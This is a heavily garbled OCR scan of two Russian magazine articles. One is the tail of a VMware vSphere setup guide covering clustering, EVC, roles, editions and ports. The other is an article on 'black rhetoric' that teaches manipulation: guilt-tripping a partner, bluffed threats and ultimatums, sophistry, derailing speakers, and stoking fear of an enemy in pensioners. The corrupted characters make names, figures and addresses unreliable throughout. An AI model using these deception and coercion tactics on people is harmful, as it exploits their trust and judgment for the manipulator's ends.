(Б1о9з.угптт:аге. согп /у!роттлегс!е11 /э'оо9 /тл /Рго!ес!_оп)гх-|з-
}:еге.1:сгп1), 5гмелош4плй генерить Рошег51пе11-сщ>итлтьт, запллсь:-
вая действия поль3ователя в !1\{шлаге т$р!пеге (1|епЁ.
Р[нфор:шация по работе с Рои:егс! | досч,пна в блоге Б1овв.
угпшаге. согп,/йоот,уегэ}:е11.
> 134
хАкЁР 08 /1з9/ 10
BemeP34 for Journal-plaza.net
(лиентуправления т5рБеге ([!еп[
|!одсчет необхо-
димостиперехо-
'/анатл\д '|
11ереход с физических сервеРов на вирц/альнь1е
свявь!вак)т' в первую очеРедь' с во31иоясностьк)
сэкономить. но обосновать необходиптость на
па'!ьцахпеРед:шефомневсегдапросто. (пециаль'
нъ:е [6Ф /РФ|-кальч/лятоРь!' прер!агаемьте
разработникатши\/1!1, потшоцп 6ьтстро и наглядно
сделать все необходипльпе расчеть: (16Ф - 1оЁа1
6оэЁ о{ Фи:петз1п1р _ стоимость владения ипфра-
структурой, кФ| _ &еЁцгп оп !п9е$Ёп|еп!_ коэффи_
циент рентабепьности инвестиций). |(алькудятор
отуми/а(е Располоя(ен по адРесу1{'1!г\/т.утпъ{аге.
согп./са1сц1аЁог и пока3ь!ваеъ сколько будет сэко'
но1и'!ено на пощптке я(елеза' электроэнеРгии' и ва-
поминает о дР5/т|т'( пРеи1ш!дцествах, котоРь|е дает
вирц,али3ация : наде)кность' 6есперебойность,
упроц{ение обс:цакивания.
во3моя(ность и3менить некоторь:е настройки: паРаметРь1
сети (подклточение!\4ог1оп, [5(51, ]',1Б5 и другие), вирцаль-
ного свича' хран у\лиц даннь!хитакдалее. последобавления
нескольких хостов станет досц/пна возмо)кность создания
кластера. 8ьлбираем в контекстном меню щ+ткт 1\[етм (1шзсег,
визаРдпопросит ввести имя 6удушего кластера. при помо_
щи чекеров устанаы1иваем поддерэкку [А (Ё!3Б Ата!1аБ|11ц)
и )Р$ ()1зш[Бцте6 Резоцгсе 5с[ле4ш1ег). 11!едглер пРедстав-
ляет собой простой балансировщик, которьтй постоянно
отсле}кивает использование Ресрсов и перераспреде-.'|яет
вь1числите/|ьнь1е мощности в гулах рес}?сов в соответствии
с измен'1ющимися потребностями вирц!'!ьнь!х ма1пин.
всли он активирован, вдальнейтпем мастер пРедло)*(ит вь!_
брать один из вариантов мигРации!й (1!1апца1, Рагт|а11у Рш11
ац!отпа1еа) и метод мигРации (от (опзегта1|те до А33гезз1те).
настраиваем управление питанием (}Р\'1), активируем
мониторинг хостов, вклтонаем Б!₠ (Ёп[:апсе0 9|!1о:1оп
(огпраг|Б|1!ч), опреде.'ш1ем место хранения своп-файла.
(слову сщь Ё9₠ онень проста. 1{акизвестно' процессорь1
6ьтвают разньте, и гостевая Ф(' установленнФ1 в системе,
может использовать разньте фитптоа вроде 55Б. Ёо нто буАет,
еспи эц Ф₠ взять и перенести пРи помощи !\4о!!оп в друг}'1о
систетшу, в которой совсемдрщиетехнологии? БотБ[₠ и
пРиводит все к единому знаменателю, просто от[с/1юча,1
<<ли|]]нее>, в результате перенос9191 проходит гладко. достщ-
нь|два варианта вклточения Б[( -для А]\4!- и 1псе1_хостов.
|!осле вьлбора гщ-тктов будет показан список совместимь|х
процессоров. [отя' если в кластеРе все сервера одинаковь1,
[обавляем лицензию
у5рьеге дает полезнь!е подсказки по даль-
неишим деиствиям
Б9₠ можно совсепт отклточтать. (ластеР создан, нохость1 в
него мьт еще недобавттпи. 3то очень просто: берем и тащим
мьттп5ой. (разуэке старцет новь:й мастер, в котоРом мо)кно
все оставить по }'1\.[олчанию, х(мем два раза.шех|' и анало_
гинно добавляем оста-'1ьнь!е хость1.
после всех операций становится доступньлм ггрткт ")ер1оу
о\т тегпр1а{е", позволятощий добавттть шаблоньл вирца]\ь-
ньлх матпин в формате Фреп!1гша1!ааЁоп Роггпа!как с
лока-/1ьногодиска' так и через интернет (кстати, такой
образ можно создать самостоятельно' воспользовав|пись
рт;литой \/\4тлгаге Ф\'Б 1оо1) . |1роцесс до6авления 1лпро-
щает овередной мастер..{обавленгтро Ф₠ь сразухсе мох{но
защ/ститьи проверить в работе. Фста]1ось Распространить
добавленньте образьт Ф( на хостьт.,[!.'тя этого вьлбираем в кон-
текстном мен|о щ/нкт "м|8га|е' и в окне мастераука3ь1ваем
хост, на которьтй его необходимо скопировать.
учить|вая то, что облачньле системьт могщ обслутсиваться
6ольтпим количеством админов сра3нь!ми правами, их
)кепате'1ьно как-то ра3делитъ по возможностям. в т5р}:еге
используетФ{ ролева'1 концепци'т, пос-/|е установки в
"А0тп1п1зггат1оп ) Ро1ез" досцлпно 9 тпаблонов ролей, позво-
лятощихвьтбрать и заодин кликназначить юзеруего права.
|!ростой мастер предостав./1яет возмо)кность создать любое
колинество новьтх ролей.
зАключвниЁ
8 рамкаходной статьи невозмо}кно рассказать о6о всех
во3можностяхстоль мощного продукта. 3а бортом ост[|лись
такие ф1тткции какБац1т1о1егапсе (91м1Р! загуск второй
копии вирц!у|ьной матшиньх, на которуо происходит пере-
кл1очение в сл)д!ае проблем сосновной\4и), $|ога3е т\4о:1оп
($умо|1оп, .горячий' перенос файлов дисков !\4 между
массивами хранталищ), горянее до6авление устройств,
}т|равление рес}?сами и мониторинг ра6отоспосо6ности.
3десь тебе на помощь придет многочисленна'1доку]иен-
тация и поясн'|}ощие видеоролики (мглтмагее1еагп|п3.
Б1|р. гт, уошгшБе.соп-т,/шзег,&\4тмаге1{8, уогтсгтБе.со1п/шзег,/
!1\4шагеЁ!еагп!п8). =г
} |п[о
. у5р[еге доступен
втрех редакциях|
51ап6аг6' А6уапсе6
и Ё п{егрг;зе.,[ля
небольших органи-
заций предлагаются
вь!пуски Ёззеп1|а[з
и Ёззеп|!а[з Р[цз'
о6еспенивающие
виртуализацию трех
серверов.
.8 последней
[яетвертой) версии
компоненту\е{тмог[
ё'аучили регули-
ровать исходящий
трафик виртуальной
машинь! в сеть
и входящий трафик
из сети к виртуаль-
нь!м машинам для
групп портов (так
назь:ваемь:й двунап-
равленнь:й шейпинг].
. 8 документации на
сайте мохно найти
та6лиць: сравнения
м5рБеге с другими
продуктами виртуа-
лизации по стоимос-
ти и функциональ-
н ости.
. Бесплатнь;й веб-
и нструмент !йша ге
0о (9о.угпшаге.согп]
позволяет бь:стро
перейти к использо_
ванию гипервизора
!\4'ииаге Ё5[! для
виртуализации физи-
ческих серверов
в небольшой компа-
ё'ии.
. передустановкой
м5рбеге следует раз-
решить прохохдение
пакетов по портам 30,
з89 , ььз' ьзь'902190з'
8080 и 8443.
хАкБР 08 /1з9/ 10
)135 1
BemeP34 for Journal-plaza.net
@0к.ана..0гуапа',Авдрееваог!уапап!хР5у(ьо.гц
Р$усн0:
АтАкА словом
9ерная риторика в процессе убе;к дения
(ак-то повелось с незапамятнь!х времен, что риторика - это/Аел
мастеров слФ8ё: ораторов, юристов' коуч ей,актеров. 0бь!чная ри-
торика - да' там есть свои правила' и чтобьг иметь право назь!вать-
ся специал истом, надо ихучить!вать. А вот нам, прость!м смертнь!м,
в этом плане повезло больше - у нас есть более просто й и,вто }ке
время 'более изощреннь!й метод воздейств ия на аудиторию. 3то
черная риторика, и здесь одно правило - нет н икакихправил.
[ому 'А Алячег0 эт0 нужно?
Бсли ть: думаешь, что по хизни никого
убехдать не нухно - считай' те6е повезло;
возмохно' даром внушения ть! о6ладаешь
лучше, чем даром убехдения. !альше мо-
кешь Ёе чи !а' ь - /ди и наслахдайся своими
талантами ,]. Ёсли ть: ухе сль!шал это слово'
ьо не знае-!ь' ! де и ка( его пр..:мени: ь' сейчас
я откро ю те бе гл аз а.
/1так. где мохет понадо6иться у6ехдение:
. уговор ить девуш ку н а .... [в ь:6ор за тобой ; ) ! ;
. запудрить мозги преподу на экзамене;
. впарить чукче холодильник (или какому-
нибудь кулхацкеру - троян];
. у6едить кого-то в интернете' что он не прав;
. обоснованно о6ъяснить шефу, понемуте6е
нухно повь1шение зарплать! и личнь:й ка6инет;
. и е|11е куча бь:товь:х мелочей типа вь!дви> е-
ния своей кандидацрь на деплатскую долх-
ность или организации революции-7:о сути'
везде' где нухно доби ; ься своей цели реньо'
мохно применять черную риторику'
1,4та к ' есл и хоть одл н пун ^т те6я за и нте ресо ва л
- поехали'
9врная рит0рика
1еоретияески это использова ние различнь]х
речевь!х приемов с целью убедить, направить
разговор в нухное русло, подвести собе
седника или пу6лику к требуемому вь;воду.
[1рактинески она играет не только словами,
но и мь слями' представлениями и дахе ми-
ровоззрением. Ёе приемь: дезориентируют'
> 136
с6ивают с толку' вь1зь!вают всплеск эмоций'
увлекают в создаваемь!е образь:, открь1вают
новь!е горизонть! и разрушают привь1чнь1е
стереотипь!, развенчивая разумнь!е доводь
и создавая из абсурднь:х фактов логически
четц!ю,аРтиЁ}. 0_личие неоьой ри-ори, и о'
белой в том. что 6елая * это убехдение оппо-
нента с соблюдением правил спора' а черная
нарушает все возмохнь!е рамки. !-.{ель одна
- 8о что 6ь; то ни стало достичьтребуемого
р езул ьтата .
фиемь:черн0й ри 0рики
!1овторение наи0олее
ва}кнь1хмоментов
[1овторяй свою идею как мохно чаще - это
помогает информации прочно осесть в созна-
нии и за его пределами.1олько не надо талдь!-
чить одну и ту хе фразу - это вь глядит скучно
и подозрительно. [1рояви фантазию: возьми,
в конце концов' словарь синонимов и играйся
ими' как хочешь. Ёапример' твоя девушка
хонет свадьбу' а ть! еще не готов; твоя задача
у6едить ее подохдать неопределен ное коли-
чество времени. [начала вь:бери коьце-:цию'
на основе которой 6удешь строить убехдение'
например' это 6удет идея.0фициальнь:е от-
ношения разрушают чувства,. |ачинаем. Аля
затравки подойдет <[колько пар распадается
после узаконивания отношений..." [предва-
рительно найди примерь:, нтобь: убехдение
не бь:ло голословнь:м. Факть: - твое орухие'
она-то еще не успела так 0сновательно под-
готовиться к де6атам]' !альше подклюнай
авторитетов: "!чень:е проводили исследо-
вания' которь!е показали' что после свадь-
бь: подавляющее большинство пар теряет
романтику в отношениях> или,,|очитай
любой уяебник по семейной психологии'
6пециалисть: пишут' что в течение первого
года после хенитьбь: распадается около 30%
пар> [ледующий шаг - призь в клогике
[только не переборщи' она ведьдевушка),
<й это понятно' ведь пока мь! не скреплень
штампом' мь! мохем потерятьдругдруга' и
поэтомудорохим и пьтаемся бь:ть интерес-
нь;ми. (актолько терять будет нечего - про-
падет и хелание что_то делать ради любимого
человека)>' Ёе забудь пои грать с чувством
винь!| <ть! меня будешь лю6ить' только если
я официально на тебе хенюсь?". [4' в конце
- тяхелая артиллерия:.| слишком люблю
тебя. ч,обь: по-ерягь/з за иа^ой-то печати {а
1 0-й странице паспорта...>. |]осле этого' если
она сразу не бросится тебе на шею со слезами
благодарности, просто молча вь:йди хотя бь:
на минутку - она ей понадобится для того'
чтобь; побь:ть наедине со своими мь!слями и
перевари ! ьусль шаЁное. 3-о онен" хороший
манипулятивнь:й прием.
(ак видишь, у всех тезисов смь!сл одина_
ковь:й' но подань! они по-разному: один апел-
лируетклогике' второй _ к эмоциям' !ре_ий
задействует доверие к авторитетам. (стати'
если оперативная память подруги медлен-
]ее' чем _']амя ] ь твоего компа - подавай ей
х^кБР 08 /]з97 10
BemeP34 for Journal-plaza.net
информацию с перерь!вами: один утром'
второй за ухином' третий при общении в
компании...
Бопрось: и ответь]
Ёсли ть: видишь' нто собеседник откровенно
лукавит' прямо скахи: <представь себя на
моем месте:ть1бь поверилтому' чтои какть!
го во ри ш ь?"
[1онаще задавай уводящие в сторону вопрось!
- чем чаще оппонент будет отвлекаться' тем
труднее ему будет сконцентрироваться на вну-
шении своей идеи' (ак вариант: мохно засто-
пориться на какой ни6удь неправдоподобной
или неоднозначной мелочи и долго пь!таться
прийти к истине в итоге конечная цель его
рени будетлибо отсронена, либо забь:та.
Ёсли хетакие вопрось! задаютте6е' постарай-
ся вернуть оппозиционера в русло| <я отвечу
н а твои н е отн ося щи еся к теме во п рос ь! в
любое время, кактолько мь! решим поставлен-
нь!е на даннь й момент задани. А сейнас давай
сконцентрируемся на них>). !4'ли "1ь: задал
этот во п рос ' чтобь; сме н ить тему раз го во ра '
поэтому я его пока проигнорирую>
!.4ли. ['1рехде чем 0т80чё]о нё вопрос' лавай
определимся' чтоть! подразумеваешь под ' > и
дальше перечисляй все понятия' озвученнь!е
в вопросе.
{х,4 охн о уходить от ответа ' откл адь! вать его' вь! -
дви гать встреч н ь!е вопрось! и ли о6винения.
₠оздание пространства
Ёсли мехдутобой и со6еседником нет
противостояния' и ть! просто хочешь его в
н е м - н и6удь убедить, увле ч ь, созда й об раз '
в котором ть! видишь и чувствуешь кахдую
деталь. 3десь не нухно никого убехдать в при-
вь 0ном смь!сле слова; гозитив{о:й резул"_а'
дости га ется за сч ет . соблаз не н ия', - [ругими
словами' при прямом убехдении ть аргумен-
тами принухдаешь человека сделать что то;
в случае сувлечением в созданноето6ой про-
странство ть! делаешьтак' что человек сам
захочет сделать это.
Р1спользование
специфической
тер]иинолотии
3о-первь;х, запуть:вает со6еседника' йало кто
мохет сказать: <[топ стоп' я не понял' разъяс-
ни значение этого термина".,!ахе если кто то
и осмелится' то 1 -2 раза смотрится нормально.
[']о если он будет переспрашивать кахдь:е 1 0
минут - это вь!глядит смешно.
8о-вторь х' это подчеркнеттвой профессиона-
лизм и компетенцию в обсухдаемом вопросе'
0бь;чнь:е слова в иностранном варианте тохе
рулят' [1од словами иностранного происхохде-
ния я имею в виду не <сенкс. плиз' рандом'
сорри' хай' тру"' а что то более экстравагант-
ное, полилитеральное, комплицирующее
семантическую и лексическую адаптацию ин-
дивидуума в о6сухдаемь:х вопросах' например'
6изьес эвалюэйьг илл эг г ра7 заг аппроуч.
Ёадеюсь, ть; понял. 14'бо, если не понял - то
ть: на собственном примере ощутил, как будет
х^кЁР 08 /] з97 1 0
8 арсенале любого.нерного оратора> долхнь: бь:ть фразь:, с помощью которь!х мохно
смутить' обескурахить' заставить замолчать. 3десь я приведу несколько примеров' а даль-
ше по аналогии составишь список сам.
- 3то самая дурацкая идея' которую я сль!шал за последние 3 наса|
- Ёе сть:дно в 8ашем возрасте {полохении] говорить такие вещи?
- 0т специалиста 3ашего уровня мь! не охидали усль!шать такие непрофессиональнь!е
предлохения...
- 3ь; сами хоть понимаете. что 8ь: только что сказали? 1-'1отому ято никто не понял...
- (ак 8ь; пришли к такому ошибонному вь:воду?
- 8ь: это сейчас серьезно сказали...?
- 8 этой теме 8ь: разбираетесь очень плохо; зато' наверное' хорошо играете в 6ильярд.
- А что?
{
*.
4
нувствовать себя твой оппонент' когда ть! при
менишь прием использования специфинеской
терминологии.
₠офистика
0нень радует способ обхода объективной
реальности с помощью псевдологических
конструкций, другими словами' .гибкость
п о н яти й' п р и м е н е н н а я субье кти в н о, @,|1 е н и н'
['1рименяя софистику' ть мохешь о6основать,
что черное это 6елое' и наоборот. [амь:й
простой и популярнь й пример софизма: "|о'
чтоть! нетерял,ть! имеешь. Рогать; нетерял.
3на.:ит, утебя есть рога>. 8роде 6ь все логич'
но' но в итоге - ерунда какая то.,|огичнь ми в
софизмах доводь кажутся потому' что они вь!
рваьь из ко]'е(с!а' и,!и 33х6РФй₠!ности одной
группь! применяются к другой. 8 основе такой
логической ошибки лехит непроверенность
одного из су} дении' и в дальнейшем ре]уло{а !
логической цепочки противоречит истине.
!асто к софистическим ловушкам прибегают
хурналисть [для создания слона из мухи или
сенсации из пустого места] и адвокать; [для
оправдания подзащитнь х). 0дин из наиболее
ярких случаев это судебное разбирательство
по делу скандала (иркорова и Ароян [Аа_Аа'
тот, после которого хурналисть! начали ассо-
циироваться с розовь ми кофтонками]' ['1осле
привлечения филологов и лексикографов
вь яснилось' нто оскор6ление вовсе не бь:ло
оскорблением' 8 заключении фигурировали 5
пунктовдоказательств: 1.0скорбление это
реневой актс использованием неприличнь х
слов, направленнь:й на конкретное лицо и
припись!вающий ему отрицательную харак-
теристику. 3 следующих четь!рех пунктах
обосновь;валось' что вь!рахения <раздра
хают сиськи' кофтонка и микрофон'' .да мне
по-х . )' (п .да) не являются припись!ванием
негативной оценки' а если и являются' то это
вь}рахено в приличнь!х словах, а неприлич-
нь!е слова не адресуются конкретномулицу'
являясь всего лишь рифмой к реплике хертвь1'
такхе толкуются двояко' а часть из них вообще
простонароднь1е' а не оскор6ительнь;е...
[1огическая ошибка состоит в том' что в понятие
оскор6ления включень! все перечисленнь!е
признаки [отрицательная характеристика, не-
приличнь!е слова и т'п.) в совокупности, и' раз
они 6ь:ли по отдельности' то в целом оскорбле-
нием не являются.
0днако обвинитель оказался не дураком и
сразу распознал злоупотребление софизмами.
0н доказал псевдонаучность кахдого из при_
веденнь!х доказательств' под конец парировав
тем' нто оскорбление в виде плевка в лицо не
содерхит ни одной из перечисленнь!х харак-
теристик. 3 подобного рода спорах кто умнее
тотиправ:].
> 137
BemeP34 for Journal-plaza.net
Результат этих двух видов воздействия один и тот хе _ добиться от человека чего-
то. 8 чем разница? !бехдение _ воздействие на сознание людей, обращенное к
их собственному критическому восприятию. 8нушение - воздействие на сознание
человека, при котором происходит некритичное восприятие полунаемой информации
(ак видишь, дело в критичности/некритинности восприятия' 8 дальнейшем установ-
ки, внедреннь|е с помощью убехдения, контролировать легче, чем те, нто 6ь:ли при-
внесень' способом внушения.
Блеф * ультиматум
3тот прием лунше не использовать где и как
попало' ведь если кто_то после спора решит
п роверить и сти н ность тво и х угроз, ть! р и с-
куешь надолго прио6рести стацс балабола.
0н мохет сработать хорошо, но только при
подходящих о6стоятельствах' например, если
ть! видишь' что противник сомневается и не
уверен в своей точ ке з рен ия [а это ухе п р изн а к
того, чтоуяз8имости в позиции есть], если
ть! точно знаешь' что оппонент не владеет
информацией.
['1риведу пример, описаннь:й автором книги
<9ерная риторика" (арстеном Бредемайером.
0н долхен 6ь;л проводить для сотрудников
компании семинар по внедрению новой
стратегии' 8се собрались в пятницу на вь!езде,
но оказалось' нто финансовь:й директор' пла-
нировавший внедрить стратегию, 6ь:л уволен.
Работники обрадовались, нто мохно будет по-
раньше уйти домой; особенно бушевали двое
лидеров, подбивавших всех на <революцию>.
0ни намекали на то, что если коуч настоит на
проведении семинара, то тренинг получит
плохую оценку' что негативно скахется на
его карьере. Бредемайер предлохил сделать
кофе-6рейк. 8о время перерь!ва он отвел
парочку зачинщиков в сторону и сказал: <<итак,
дорогие мои, сейчас мь: сь!граем партию в
покер. 8ариант первь!й: мь! проводим тренинг,
вь! пишете на меня жалобу или негативную
рецензию, и все разъезхаются подомам.
8 свою онередь, я тохе приезхаю домой' в
понедельн ик утром звоню ва шему директору
- предполохим' я с ним хорошознакомлично,
- и сообщаю о двух сотрудниках, пь!та ющихся
подорвать репутацию и финансовое разви_
тие фирмь; в угоду своим амбициям. 8торой
вариант: мь! проводим тренингтак' как бь:ло
запланировано' и я забуду о вашем поведении.
!о при этом вь: пообещаете мне поддерхку и
содействие во время семинара. /!так' нерез
две минуть] мь; либо сидим в аудитории' ли6о
разъезхаемся по домам' Решение за вами>'
Ёа то время автор истории не 6ь:л знаком с
директором, он познакомился с ним только
в понедельник' послеудачно проведенного се-
минара. Ёотогда' в критинеский момент' никто
этого проверить не мог'
!1унше' если при постановке ультиматума
в вь!годном для тебя варианте будеттакхе
что-то привлекательное для твоего против-
ника' будет легне склонить его к нухномутебе
решен и ю.
и еще: чем раньшеть! наннешьсвой блеф -
тем лучше' так как соперник не успеет подгото-
виться информационно и морально.
9ернаяриторика
в проФессион₠ш!ьнои
практике
9аще всего используют приемь! убехдения
юристь!' коуч и' ко н сул ьта нть;' п с ихологи'.!а ва й
промониторим основнь|е принципь!' которь!м
они следуют.
1!|олчание
как си./1ьнейгший довод
йногда просто осмь:сленнь:й взгляд и много-
значительное молчание более эффективнь:,
чем красноречивь!е доводь!. [т4олчание - это
вообще сильное орухие в лю6ом разговоре.
(огда ть: молчишь, противник не знает, что
думать: ть! согласен или нет, готовишь на-
падение или сканируешь его речь и ищешь
оши6ки. } многих людей есть хроническая
непереносимостьдлиннь!х пауз' они во что
бь; то ни стало пь!таются ее заполнить чем
угодно, при этом моуг проговориться и вь|дать
скрь!ваемую информацию или необдуманно
согласиться на невь!годнуюдля себя по-
зицию. Ёо то, что они вь]падут на стРем или
п онув ствуют себя н ело в ко - это 1 00% ' 1а кхе '
если утебя нетаргументов, молчание мохет
разрулить ситуацию: при длинной паузе утебя
есть время на о6думь:вание и амортизацию,
а у со6еседника - время засомневаться в
сказанном и лрийти в замешательство' вь!_
званноетвоим молчанием. |1то касается пауз
- они помогаютлогически разделить текст и
дают слушателю время на 0тдь!х и усвоение
информации' речь не так нагрухает. [1ере-
гибать палку с паузами не стоит - это сильно
напрягает.
66литъмолоком
ипод)|(ечь
,[руги м и слова м и - с6ить с тол ку 8от нескол ь-
ко дей ствен н ь:х п ри емов.
. 3адать много вопросов сразу: <(ак работает
эта программа? (стати, на нее естьлицензия?
Ато хе самое' но на 0е[р[!' налишете?" (-]ел
теряется и не знает, на какой вопрос ему от_
вечать в первую очередь.
. !]то6ь: сбить вь:ступающе! о с мь!сли, от-
лично катит прием несоответствия слов и
реакции на них. 0дни ребята так прикаль!-
вались: они ходили на пресс-конференции,
презентации' и когда наступало время
хурналистов' с умнь!м видом и блокноти-
ком задавали вопрось! типа .!]еловек за
час вь:пивает 2 литра пива. 3а сколько он
вь:пьет бонку' если не учить!вать время.
необходимое ему, нтобь: сходить в туалет?"
14 включали секундомер. 8ид лица офигев-
шего оратора стоиттого, нтобь: рискнуть
попробовать то хе самое.
. перебивание. (огда видишь' что человек
сделал вдох, что6ь: нанать рень, опереди его и
задай какой-н и6удь несущественнь:й вопрос
или кинь за6авную реплику.
) 138
(менаролей
['1ри общении кахдь;й из нас временно играет
какую_то роль: продавца' обвиняющего' лиде_
ра, человека' зависимого от чухого решения.
8торой' соответственно, подстраивается под
взаимодополняющую роль. (стати' не факт,
что ть! сам вь;6ираешь позицию _ ее мохет
вь:брать более активньпй собеседник' а тебе ухе
останется только подзеркаливать его. 14 вот, вьг
по накатанной оть!грь!ваете свои сценарии {по-
ч итай по этой те ме 3ри ка Берна " 14 грь! ' в кото-
рь!е играютлюди>]: шагвлево - шагвправо не
допускается, так как это ухе будетдругая игра.
А многие из нас играют невь!годнь!е для них
роли, дахе не представляя, что мохно просто
сменить образ или игру, осознавая' что делаешь
в даннь:й момент. [1ри этом <наларник> по игре,
если он менее осознан и действует на автомате'
после некоторого замешательства перейдет в
другой образ, предло;<еннь;й тобой. Ёапример'
у тебя есть ка кая - н и будь созда н ная собствен'
норучно отличная программа' и есть клиент,
которьпй вроде 6ь: не против ее купить, но он тя_
нет, сомневается... !ругими словами' вь: сейчас
и гра ете в и гру <п рода ве ц - покупател ь>, где ть!
занимаешь пассивную позицию - хдешь, а он
активную _ решае1 брать или нет. А что мешает
тебе сменить роли? Бместо того' нтобьг хдать
его реш ен ия, ть! са м ста в и ш ь условия: <1м...
3то лриватнь:й софт. !е знаю, моцли я бь:ть
уверен' что ть! не сольешь его в ла6лик?>. А
пусть теперь он доказь! вает' что <достои н >) этой
программь!. [1рием работает, если утебя есть
возмохность решать или вь:бирать.
|!рицел нацелеву!о
аудитоРи}о
(огда ть: строишь речь' нтобы убедить кого_то
в чем -то, всегда ун ить: ва й то, к ко му обра щен ь:
твои слова - для кахдой цели вь:бирай свое
орухие. Ёапример, молодь!е и среднего воз-
раста хенщинь! любят флирт и заигрь]вания
- кто_то будет кокетничать в ответ' кто-то будет
строить из себя недотрогу' но всем им это нра_
вится.,[,ля людей с операционнь!м мь!шлением
[программисть:, !1-шники] создай идеаль-
ную схему' так как распись!вание красочнь!х
о6разов - не факт' нто подействует; нухнь:
исходнь!еданнь]е, цель' пги дости)кения и
алгоритм действия предлохенной схемь:.
['1тобь: до6иться поддерхки пенсионеров, те6е
нухен образ внешнего врага, с которь!м вь! все
вместе 6удете фанатинно бороться и вь!водить
на чисцю воду. ['1енсионерь! отэтого реально
та щатся.
х^к₠Р 08 /1з9/ 10
BemeP34 for Journal-plaza.net
|
Ёсли хочешь бь:ть правильно понять!м, не забь:вай о целевой аудитории
Ёапример, в юридияеской практике есть
негласнь!е правила' по которь!м адвокат или
прокурор долхен строить свою рень [Аумаю,
они пригодятся и те6е],
. вь]годная аргументация собь;тий, но обяза-
тельно с фактами' на которь!е мохно опираться,
пусть дахе они будщ малознанительнь!ми;
. речьдолхна содерхать одну стерхневую идею'
а все остальнь:е факть! - вращаться вокруг нее;
. ориентация на судью: оптимальное соотно-
шение пауз. повторов' равномернь:й темп' нет-
кая и лаконичная речь' в меру эмоциональная;
метафор ь: до пуска ются в л и ч н ь!х дела х' есл и хе
дело рассматривается в хозяйственном суде.
то они противопоказань!, так как моцт бь;ть
истолкова н ь! превратно;
. арцментация долхна бь;ть построена так'
ято6ь: другая сторона не могла их опровергнль;
пусть а ртментов будет меньше' но они долхн ь!
бь:ть весом ь: м и. А са м ь: й ос но вной пода вать
тогда, когда судья готов будет его воспринять'
(инематограф
8отхивой пример из фильма "3десь курят".
['1ервая сцена: ведущая телешоу показь] вает
ль!сого онко 6ольного мальчика со словами
.0н больше не считает, что сигареть! - это
крро". 3моциональное якорение - <сигареть!
= рак>' в итоге - <посмотрите, к чему привело
курение>.8 одном из предь!дущих номеров мь1
говорили о том' что при сильном эмоциональ_
ном воздействии логика перестает работать.
Рядом сидят представи ] ели организаций'
борющихся с <урением и рацющих за здоровь:й
об раз хиз н и. (а к вь: крун и вается Аа рон 3 кха рт,
главнь:й герой' РР-агент крупной табанной
компании? <Ёашей компании невь:годно, нтобь:
этот мальчикумирал' Более того' мь1 потеряем
покупателей. Ёаша вь;года втом, что6ь; мальчик
хил долго и курил". 8клюнается логика... А ведь
действительно, невь:годно. 0тличная подмена
смь!слов: <табачная компания несет смерть
иурильщикам> против " !а6анной компании
вь:годно, нтобь: курящие хили долго,. (то
возразит? ,] 6рь приема втом, нто абстрактно-
социальная установка бь:ла раз6ита нагляднь:м
и логичнь!м артментом',.(рометого, - про
долхает великий оратор, - смерть этого
ре6енка вь!годна организациям здоровья - для
хАкБР 08 /1 з9, 1 0
саморекламь! ониполучаютнаэтомденьги.А
мьт в блихайшее время собираемся запустить
11я'гиАесятимилл ионную кампанию по оцчению
детей о- курения. !умаю, все со мрой соглася т-
ся' что нет ничего вахнее, чем здоровье наших
детей". 3то вообще хесть! 1еперь оказь1вается,
что организация по заботе о здоровье - это
главнь:й врагздоровья, а табачная компания
заботится о булу\ем 3ме!ихансп ихдетей
['1риемь::
. <думаю' все со мной согласятся> - автомати-
ческое присоединение мнения толпь ;
. демонстрация заботь о здоровом 6удущем
детей. 0нень благородная цель' с0циальнь!е
нормь! ее поощряют, естественно' публика при-
соединилась к его мнению:
. логически [не фактинески] подкрепленное
обвинение в адрес оппонента' (стати' про-
тивник ничего кроме..!а как 8ь: смеете''.'
возразить не смог;
. заявление о 50-миллионной кампании оказа-
лось блефом, но обещание головокрухительного
успеха ["['1 ресса ухе в восторге' 8ь; мне еще <спа-
сибо" скахете!'] помогло переубедить босса.
9утьвцц1ше, чем пРосто
слова. Атрасш|ь|слами
(ахдь;й профессиональнь:й психолог [а теперь
и ть:) знает' что почти лю6ое явление или образ
имеет не одну' а две или дахе больше сторон:
6елую, нерную и массудругих промехуточнь!х
оттенков' 8от банальнь:й пример: слушаться
родителей - это хорошо или плохо?
['1ервая тонка зрения - хорош0:
1. родители плохого не посовецют;
2.у родителей больше опь:та;
3. роди'ели неср ответственнос ] ь за своих детей.
8торая тонка зрения - плохо:
1. родители знают' что хорошо для них, но от-
куда они знают' что хорошо для тебя?
2. у родителей свой опь:т, он бь:л полезен при
тех временах и обстоятельствах' в которь!х
хили они- Родител и уверень!, что в нашем веке
посещение библиотеки принесеттебе больше
профита' чем прохохдениетренинга по пикапу?
3. постоянно перекладь!вая ответственность
за детей на се6я, родители рискуют воспитать
взрослого ребенка, не способного шац сделато
самостоятельно и отвечатьза свои посцпки...
Ёсл и ть; до сих по р не понял, к ч ему я кло н ю'
скаху прямо - лю6ой арцмент оппонента ть!
мохеш ь ра сс м отреть с другой тон ки з рен ия '
придать емудругой смь:сл' и тогда глобальнь:е
вопрось! окахгся по суги незначительнь!ми в
контексте твоей перспективь! [арцмент "3ь:с-
шее о6разование необходимо!, - контрарт-
мент.Ёео6ходимо о6разование или знания? ']:
негатив превратится в позитив (арцмент
"кризис' все плохо> - контрарцмент "(ризис
- это всегда начало нового этапа развития>
или "[]аконецу нас есть время подумать' тем ли
мь] занимаемся' чем хотим'].
(стати' политики и хурналисть1 часто исполь-
зуют этот хитрь:й прием, подменяя привь!ч-
ьь!е нам с-ереотипь! новь!ми.
А0!_ - создатели роликов <|п1егпе{ '5 а 9оо6
|ь!п9> и <!п1егпе{ !з а ба6 !Б!п9" [поищи на
|оц1шбе по одноименному названию) по-
казали нам, как легко мохно манипулировать
нашим мнением.
!,4нтернет - это хорошо. ₠только информации'
сколько храни]ся в ин!ерне]е' не най_и ни в
одной би6лиотеке, это мощная база для о6ра-
зования- 8се новости мь! узнаем оттуда' в том
числе, если хертвам какого-либо бедствия
нухна поддерхка; часто они полунают ее бла-
годаря огласке в |ети. !вобода слова - это
огромное преимущество. йь: мохем сво6одно
о6щаться и видетьдругдруга' находясь на
полярнь!хточках планеть!; сколько пар бь:ло
создано благодаря интернету... 3то часть нас.
14нтернет- это плохо. Благодаря интернец
кто-то пла н и рует и сове рша ет п ресцп н ь:е де й -
стви я; соб и рая да н н ь! е о хе ртве, п олучает воз'
мохность для нанесения сокрушающего удара.
8 интернете мохно купить все, что угодно. в
том нисле детей или человеческие органь! для
трансплантации. Благодаря ему мь! нах0димся
под постояннь!м наблюдением веб-камер' кто-
